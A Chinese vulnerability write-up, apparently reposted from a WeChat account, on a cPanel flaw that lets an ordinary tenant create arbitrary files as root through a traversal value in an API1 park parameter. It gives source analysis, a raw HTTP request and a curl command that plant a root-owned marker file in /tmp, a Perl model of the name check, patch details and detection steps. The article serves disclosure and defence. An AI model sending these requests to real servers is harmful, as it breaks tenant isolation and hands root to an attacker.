一个域名,撬翻整台服务器:cPanelCVE-2026-65643深度复盘

admin 2026-09-02 05:22:12 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: cPanel高危漏洞CVE-2026-65643允许低权限普通用户通过API1Park接口的arg-4参数注入phpfpm_domain,利用内部路径穿越实现以root身份创建任意文件,最终可提权至root并接管宿主机,影响共享主机租户隔离。官方已发布修复版本,建议及时升级至11.138.0.2及以上版本,并限制普通用户的域名停放权限。 综合评分: 88 文章分类: 漏洞分析,代码审计,漏洞预警,安全漏洞,渗透测试


一个域名,撬翻整台服务器:cPanel CVE-2026-65643 深度复盘

原创

网络安全透视镜 网络安全透视镜

网络安全透视镜

2026年8月31日 08:10 中国香港

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

高危漏洞深度复盘

一个域名,撬翻整台服务器

认证后的低权限 cPanel 账号,如何跨过特权边界直达 root?本文用源码对照,把 CVE-2026-65643 的真正注入点、利用边界和修复思路讲清楚。

普通租户账号 → root 创建任意文件 → 宿主机隔离失守

低权限主机账号 → root。不碰网站漏洞,不过 WAF,直击面板内核。 本文基于授权的本地源码对照审计(含漏洞 11.138.0.1 vs 修复版 11.138.0.2),只做原理拆解与防御科普,不提供可直接落地的武器化利用。

一、一句话看懂这个漏洞

2026 年 8 月末,cPanel 官方紧急披露高危漏洞 CVE-2026-65643

它可怕的地方不在于「又一个 Web 洞」,而在于它绕开了所有人习以为常的防线

  • 攻击者不需要 root,不需要管理员账号;
  • 只要一个能添加”停放域名/附加域名”的普通 cPanel 账号
  • 就能让运行在 root 权限下的后台脚本,按自己指定的名字创建文件
  • 最终一路提权到 root,接管整台宿主机

共享主机上,这意味着一个租户能击穿隔离、控制所有邻居的站点

二、影响范围

| 项目 | 说明 | | — | — | | CVE 编号 | CVE-2026-65643 | | 危害等级 | 严重 / Critical | | 披露时间 | 2026-08-27 | | 触发条件 | 见下文「三、漏洞利用条件」(认证用户 + 停放/附加域名权限 + 未修复版本) | | 攻击前提 | 不需要 管理员凭据,不需要网站漏洞或复杂前置链 | | 不受影响 | cPanel DNS-Only 纯 DNS 服务器 |

修复版本(低于以下版本均受影响):

  • 11.110.0.141+
  • 11.134.0.53+
  • 11.136.0.37+
  • 11.138.0.2+
  • WP2 11.138.1.7+

一个关键认知:这个漏洞防火墙拦不住、WAF 拦不住、和你网站程序有没有洞毫无关系。 它发生在 cPanel 的特权边界内部(普通用户代码 → root adminbin),是架构级的信任缺陷。

三、漏洞利用条件

先把「能不能打」说清楚。CVE-2026-65643 不是未授权远程裸打,但也远谈不上“难利用”——共享主机场景下,租户账号几乎是标配前提。

3.1 必须同时满足

| # | 条件 | 说明 | | — | — | — | | 1 | 面板版本未修复 | 低于官方修复线:11.110.0.141 / 11.134.0.53 / 11.136.0.37 / 11.138.0.2 / WP2 11.138.1.7 | | 2 | 不是 DNS-Only | 纯 DNS 角色服务器不受影响;需具备域名停放相关完整功能栈 | | 3 | 已登录的普通 cPanel 账号 | 需要有效会话(Cookie / Basic Auth / 访问哈希)。不需要 WHM、reseller、root | | 4 | 账号具备停放/附加域名功能 | parkeddomains  addondomains 至少一个开启;Demo Mode 下功能直接拒绝 | | 5 | 能成功走通 park() 主流程 | arg-0 必须是可通过 is_valid_cpanel_domain() 的合法域名,且该账号有权把它停放上去(实验里常用 arg-6=force=1 降低部分校验干扰) | | 6 | 走 API1 位置参数通道注入 phpfpm_domain | 最直接入口是 API1 Park/park 的 arg-4;含漏洞版 Park_park 会 park(@_) 原样透传。API2 api2_park 这条把 phpfpm_domain 写死了,不是同款直通枪 | | 7 | arg-4 满足名字策略 | 非空;不以 . 开头;内部可含 / 与 /../,以便逃出 /var/cpanel/taskqueue/groups/enable_fpm_subqueue | | 8 | 目标路径此前不存在 | 落盘使用 O_WRONLY\|O_CREAT\|O_EXCL,已存在则创建失败,无法覆盖 |

满足 1–8,即可在授权实验室验证「以 root 创建任意空文件」原语。

3.2 明确不需要什么

  • 不需要

    网站程序漏洞(SQL 注入、上传、RCE 等)

  • 不需要

    过业务 WAF / CDN(打的是 2083 面板 API,不是站点 80/443 业务面)

  • 不需要

    管理员凭据或提权跳板链的前半段

  • 不需要

    在「域名」字段里塞 ../(那条路被正则拦死,真正可控的是内部参数 phpfpm_domain

3.3 利用门槛怎么评估

| 场景 | 难度 | 解读 | | — | — | — | | 共享主机 / 分销主机租户 | | 攻击者天生就有普通 cPanel 账号 + 停放域名权限 | | 已泄露的主机面板账号 | | 等同租户场景 | | 完全未授权、没有任何面板账号 | 高 / 不可直接打 | 本洞不是匿名 RCE,需要先解决“有一个能登录的 cPanel 用户” | | 已打补丁或 DNS-Only | 不可利用 | 条件 1 或 2 不成立 |

一句话:认证后的低权限面板用户 → root,属于典型的「租户击穿隔离」洞,不是「互联网裸奔扫端口就能收菜」的洞。

3.4 从原语到 Root RCE 的边界

官方已确认:任意文件创建原语可进一步导致 Root RCE。但后半段依赖具体落点与系统状态(且受 O_EXCL、空文件等约束),不属于“发一个 HTTP 包就自动 Root”的单步骤。本文后续 PoC 只覆盖到「root 在 /tmp 创建标记空文件」这一可安全复现的原语层。

四、先纠正网上一个流传很广的错误说法

不少文章把成因描述成:「在域名里塞 ../ 路径穿越,然后往 cron / authorized_keys 里写入自定义后门内容」。

对着源码看,这个说法是错的,两个硬伤:

1)域名里根本塞不进 ../

Cpanel::Park::park() 里,域名先被正则捕获,再过 is_valid_cpanel_domain()

$domain =~ s/^www\.//g;
$domain =~ tr/A-Z/a-z/;
$domain =~ /([\-a-z\.0-9]*)/i;   # 只保留 字母/数字/-/.
$domain = $1;

实测(见文末实验脚本):

in=evil.example/../x   captured=evil.example    ← 斜杠及之后全被丢弃
in=ok.example;id       captured=ok.example      ← 分号注入也没戏

2)落盘环节不写”自定义内容”。

真正创建文件的 Cpanel::TaskQueue::SubQueue::Adder::add() 走的是无内容分支

my $fhmode = O_WRONLY | O_CREAT | O_EXCL;
sysopen( $fh, $path, $fhmode ) or ...;   # 只创建"空文件",且不能覆盖已有文件

所以正确的表述是:官方口径的原语是 “以 root 身份创建任意文件”(arbitrary file creation)→ RCE,是文件创建原语,不是内容写入原语。真正可控的也不是域名,而是另一个藏在参数列表里的内部参数

五、漏洞分析:真正的注入点在第 5 个参数

5.1 被漏出来的”内部参数”

park() 的完整签名是:

park($domain, $topdomain, $disallowdot, $do_ssl_setup, $phpfpm_domain, $ignore_limits, $force)

后三个是内部参数,本应只由进程内受信任代码拼装,绝不该让请求方控制。但含漏洞版本的多个 API 入口把它们原样透传了:

| 入口 | 泄漏的特权参数 | | — | — | | API1 Park_park | park(@_) 原样透传,arg-4=phpfpm_domain 直达 | | API2 api2_park | force | | API2 api2_addaddondomain | forceignore_limits / tempdomain | | ParkAdmin::_local_park | ignore_limit_for_domain_conversion 被提升到 WHOSTMGR 上下文 | | API1 SubDomain::addsubdomain | @_ 透传出 skip_phpfpm / force 等 |

其中 API1 的 Park_park 最直接

sub Park_park {
    my ( $result, $reason ) = park(@_);   # arg-4 phpfpm_domain 原样喂进去
    ...
}

而 park() 里对 $phpfpm_domain 只判空、不校验字符

$phpfpm_domain = 0 if !defined $phpfpm_domain;   # 就这一句,形同虚设

5.2 从普通用户到 root 的完整链路

[普通用户 API1 请求]
      │  arg-4 = phpfpm_domain(任意字符串)
      ▼
Cpanel::Park::park()               ← 不校验 phpfpm_domain
      │  adminrun('park','ADD',...,$phpfpm_domain,...)
      │  参数用空格 join,协议: (\d*) (ADD|DEL|DELADDON) (.*)
      ▼  ★跨越特权边界★
[root] bin/admin/Cpanel/park (park.pl)
      │  queue_convert_domain($phpfpm_domain)
      ▼
Cpanel::PHPFPM::EnableQueue::Adder->add($phpfpm_domain)
      ▼
Cpanel::TaskQueue::SubQueue::Adder::add()
      │  die if index($name,'.')==0     ← 只拦"以 . 开头"
      │  $path = _DIR() . "/$name"      ← 内部的 / 完全不清理!
      ▼
sysopen(O_WRONLY|O_CREAT|O_EXCL)   ← 以 root 创建空文件
父目录不存在时 → mkdir 0700        ← 以 root 按需建目录

_DIR() = /var/cpanel/taskqueue/groups/enable_fpm_subqueue

5.3 名字策略的致命细节

add() 只用 index($name,'.')==0 拦「以 . 开头」的名字,对中间的 / 和 /../ 不做任何处理。结果:

  • 朴素的 ../x → 以 . 开头,被 die 挡住;
  • 但 x/../../… 这种不以 . 开头、内部含 /../ 的名字能通过检查,最终路径逃出队列目录,被 root 落到攻击者指定的位置。

这就是”以 root 创建任意文件”的由来。至于从”创建文件/目录”到”稳定 RCE”,官方已确认可行,本文不展开可复制的落地姿势。

六、漏洞复现(实验室安全形态)

声明:本节仅面向自有授权实验室(含漏洞版本 11.138.0.1)。PoC 只验证「以 root 创建任意空文件」原语,arg-4 只指向 /tmp 下的标记文件,不给出写入 cron / authorized_keys / sudoers 等持久化路径的取值,也不给出完整 RCE 利用链。请勿对未授权目标使用。

6.1 实验前置条件

完整利用条件见 第三节。实验室最小集合如下:

| 项 | 要求 | | — | — | | 面板版本 | 含漏洞版本,如 11.138.0.1(未打 CVE-2026-65643 补丁) | | 账号 | 普通 cPanel 账号,具备 Parked Domains / Addon Domains 功能(非 Demo Mode) | | 域名 | 一个该账号可以成功停放的合法域名(能过 is_valid_cpanel_domain()) | | 认证 | 该账号的会话 Cookie,或 Basic Auth / 访问哈希 | | 验证权限 | 能以 root 在宿主机上 ls(确认标记文件是否出现) | | 注入通道 | API1 Park/park,控制 arg-4$phpfpm_domain |

注入点回顾:API1 Park / park 的 arg-4$phpfpm_domain。域名参数本身塞不进 ../,真正可控的是这个内部参数。

路径演算(队列目录 → /tmp):

队列目录 = /var/cpanel/taskqueue/groups/enable_fpm_subqueue
名字策略 = 只拒绝「以 . 开头」,内部 / 与 /../ 不清理

lab 标记名 =
  x/../../../../../../tmp/cve_2026_65643_lab_proof
  │ └─ 6 个 ../ :先吃掉名字里的 x,再跳出 groups→taskqueue→cpanel→var→/
  └─ 前缀 x 让整串「不以 . 开头」,骗过 index($name,'.')==0

最终落盘(root 创建空文件)=
  /tmp/cve_2026_65643_lab_proof

注意:sysopen 使用 O_EXCL不能覆盖已存在文件。复现前请确认标记路径尚不存在:test ! -e /tmp/cve_2026_65643_lab_proof

6.2 HTTP Raw PoC(推荐:会话 Cookie + POST)

登录 cPanel 后,从浏览器开发者工具复制 session / cpsession 等 Cookie,以及 URL 里的 cpsess########## 安全令牌,替换下方占位符。

POST /cpsess##########/json-api/cpanel HTTP/1.1
Host: lab-target.example.com:2083
Cookie: cpsession=USERNAME%3aXXXX%2cXXXX; session=XXXXXXXX
Content-Type: application/x-www-form-urlencoded
Accept: application/json
Connection: close
Content-Length: 225

cpanel_jsonapi_apiversion=1&cpanel_jsonapi_module=Park&cpanel_jsonapi_func=park&arg-0=parkme.lab-target.example.com&arg-1=&arg-2=0&arg-3=0&arg-4=x%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fcve_2026_65643_lab_proof&arg-5=0&arg-6=1

Cookie 与 Basic Auth 二选一即可。上面示例走会话 Cookie;若更习惯口令,把 Cookie 行换成: Authorization: Basic <base64(cpanel_user:password)>

参数对照:

| 字段 | 含义 | 实验取值说明 | | — | — | — | | cpanel_jsonapi_apiversion | API 版本 | 必须为 1 (位置参数通道;API2 这条链路 phpfpm_domain 被写死) | | cpanel_jsonapi_module | 模块 | Park | | cpanel_jsonapi_func | 函数 | park → 进入 Park_park → park(@_) | | arg-0 | $domain | 合法可停放域名(过域名正则与归属校验) | | arg-1 | $topdomain | 可空,默认停到主域名 | | arg-2 | $disallowdot | 01 | | arg-3 | $do_ssl_setup | 0 即可 | | arg-4 | $phpfpm_domain | 注入点 :URL 编码后的穿越名 | | arg-5 | $ignore_limits | 实验可 0 | | arg-6 | $force | 实验可 1,降低 DNS/归属校验干扰 |

arg-4 明文与编码:

明文 : x/../../../../../../tmp/cve_2026_65643_lab_proof
编码 : x%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fcve_2026_65643_lab_proof

6.3 等价形态:Basic Auth + GET(方便 curl 一把梭)

适合命令行快速打一遍(同样只写 /tmp 标记):

GET /json-api/cpanel?cpanel_jsonapi_apiversion=1&cpanel_jsonapi_module=Park&cpanel_jsonapi_func=park&arg-0=parkme.lab-target.example.com&arg-1=&arg-2=0&arg-3=0&arg-4=x%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fcve_2026_65643_lab_proof&arg-5=0&arg-6=1 HTTP/1.1
Host: lab-target.example.com:2083
Authorization: Basic <base64(cpanel_user:password)>
Accept: application/json
Connection: close

对应 curl(实验室内网自测):

AUTH=$(printf '%s' 'cpanel_user:password' | base64 -w0)
curl -sk \
&nbsp; -H "Authorization: Basic ${AUTH}" \
&nbsp; --get "https://lab-target.example.com:2083/json-api/cpanel" \
&nbsp; --data-urlencode "cpanel_jsonapi_apiversion=1" \
&nbsp; --data-urlencode "cpanel_jsonapi_module=Park" \
&nbsp; --data-urlencode "cpanel_jsonapi_func=park" \
&nbsp; --data-urlencode "arg-0=parkme.lab-target.example.com" \
&nbsp; --data-urlencode "arg-1=" \
&nbsp; --data-urlencode "arg-2=0" \
&nbsp; --data-urlencode "arg-3=0" \
&nbsp; --data-urlencode "arg-4=x/../../../../../../tmp/cve_2026_65643_lab_proof" \
&nbsp; --data-urlencode "arg-5=0" \
&nbsp; --data-urlencode "arg-6=1"

6.4 预期现象与宿主机验证

  1. HTTP 层

    :停放接口可能返回成功(域名确实被 park),也可能因环境差异返回业务错误——关键看特权侧有没有落盘,不要只看 JSON result

  2. 特权侧

    (root):

# 复现前
ls -l /tmp/cve_2026_65643_lab_proof 2>/dev/null || echo 'marker absent (good)'

# 发送 PoC 后
ls -la /tmp/cve_2026_65643_lab_proof
# 预期类似:
# -rw------- 1 root root 0 ... /tmp/cve_2026_65643_lab_proof
# &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;^^^^ root 拥有、大小为 0 → 「以 root 创建空文件」原语成立

stat -c 'uid=%u user=%U size=%s' /tmp/cve_2026_65643_lab_proof
  1. 对照修复版 11.138.0.2+

    :同一请求下,park() 会对 phpfpm_domain 做 validdomainname(),含 / 的值被归零;Park_park 也不再透传 arg-4。标记文件不应再出现

  2. 清理

    rm -f /tmp/cve_2026_65643_lab_proof,并按需取消实验停放域名。

6.5 为什么这不是「写任意内容」

很多人看到 HTTP PoC 会下意识以为能把 webshell 写进文件。源码里 SubQueue::Adder::add() 走的是:

sysopen($fh, $path, O_WRONLY | O_CREAT | O_EXCL); &nbsp;# 只创建,不写 body

所以本 PoC 验证的是 arbitrary file creation as root。从「创建空文件/目录」到稳定 RCE,官方已确认可行,但那属于利用链后半段,本文不展开、不给可复制 payload

6.6 可离线复现的名字策略验证

没有实验面板时,用下面脚本也能一眼看懂「为什么域名安全、为什么 x/../.. 能逃逸」(纯建模,不落盘):

#!/usr/bin/env perl
use strict; use warnings;
use File::Spec;

my $DIR = File::Spec->catdir(File::Spec->tmpdir(), 'enable_fpm_subqueue_model');
sub adder_accepts { return index($_[0], '.') != 0; }
sub resolved {
&nbsp; &nbsp; my $joined = "$DIR/$_[0]"; my @parts;
&nbsp; &nbsp; for my $p (File::Spec->splitdir($joined)) {
&nbsp; &nbsp; &nbsp; &nbsp; next if !defined $p || $p eq '' || $p eq '.';
&nbsp; &nbsp; &nbsp; &nbsp; if ($p eq '..') { pop @parts if @parts; next; }
&nbsp; &nbsp; &nbsp; &nbsp; push @parts, $p;
&nbsp; &nbsp; }
&nbsp; &nbsp; return '/' . join('/', @parts);
}

printf("%-40s %-9s %-8s %s\n", 'name','accepted','escapes','resolved');
for my $name (
&nbsp; 'example.com', '.hidden', '../nope',
&nbsp; 'x/../../../../../../tmp/cve_2026_65643_lab_proof',
&nbsp; 'sub.example.com'
) {
&nbsp; &nbsp; my $ok &nbsp;= adder_accepts($name) ? 'yes' : 'no';
&nbsp; &nbsp; my $res = resolved($name);
&nbsp; &nbsp; my $esc = ($ok eq 'no') ? 'n/a' : (index($res,$DIR)==0 ? 'no' : 'yes');
&nbsp; &nbsp; printf("%-40s %-9s %-8s %s\n", $name, $ok, $esc, $res);
}

仓库内完整脚本:lab/adder_name_policy.plperl lab/adder_name_policy.pl 直接跑)。

七、修复建议

7.1 首要动作:升级

升级到官方修复版本之一:

11.110.0.141+ / 11.134.0.53+ / 11.136.0.37+ / 11.138.0.2+ / WP2 11.138.1.7+

升级后重启相关服务,避免长驻进程仍加载旧代码:

# 视实际环境执行
/scripts/restartsrv_cpsrvd
systemctl restart httpd crond &nbsp; # 服务名以你的系统为准

DNS-Only 服务器不受影响,无需处理。

7.2 官方补丁到底改了什么(值得抄的思路)

核心是在特权边界上把内部参数掐死 + 在 park() 里给 phpfpm_domain 补校验。底层写文件的 SubQueue::Adder 一行没动——修的是”谁能传值进来”,而不是”落盘时再补救”

  • park()

    phpfpm_domain 为空或 !validdomainname() 就归零并记日志。域名标签只允许 [a-z0-9-]/ 和 .. 一律通不过。

  • Park_park

    (API1):不再 park(@_),改为按名字绑定公开参数,phpfpm_domain/ignore_limits 强制 undef

  • api2_park

    api2_addaddondomain:进门先剥离 force / tempdomain,再进入真正逻辑。

  • ParkAdmin::_local_park

    :不再因内部标志把校验器提升到 WHOSTMGR 上下文(那会连带绕过跨用户归属检查),改为只豁免 MAXADDON 配额。

7.3 排查是否已被利用

  • 日志侧:检索 access_log 中停放/附加域名的异常提交,重点看 arg-4 / phpfpm_domain 里出现 /.. 等非域名字符的请求。
  • 系统侧:面板类提权后,攻击者更倾向落系统级持久化——重点排查 /etc/cron.d//var/spool/cron/~/.ssh/authorized_keys、可疑新增系统账号、/var/cpanel/taskqueue/groups/ 下的异常文件。
  • 若确认被入侵:优先隔离、取证,再考虑重装系统 + 干净数据恢复 + 全量改密。

7.4 长期启示

CVE-2026-65643 再次暴露了面板类软件的通病:通用功能以最高权限运行、用户输入的信任边界含糊、租户隔离依赖上层应用而非系统底层。对运维而言,面板高危漏洞的杀伤力远大于普通 Web 洞——它直接击穿隔离、直达内核。补丁随发随更,不要抱侥幸心理。


本文为授权环境下的源码对照分析记录,用于防御与安全科普,不含针对未授权目标的可落地攻击载荷。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络安全透视镜 网络安全透视镜 网络安全透视镜《一个域名,撬翻整台服务器:cPanel CVE-2026-65643 深度复盘》

评论:0   参与:  0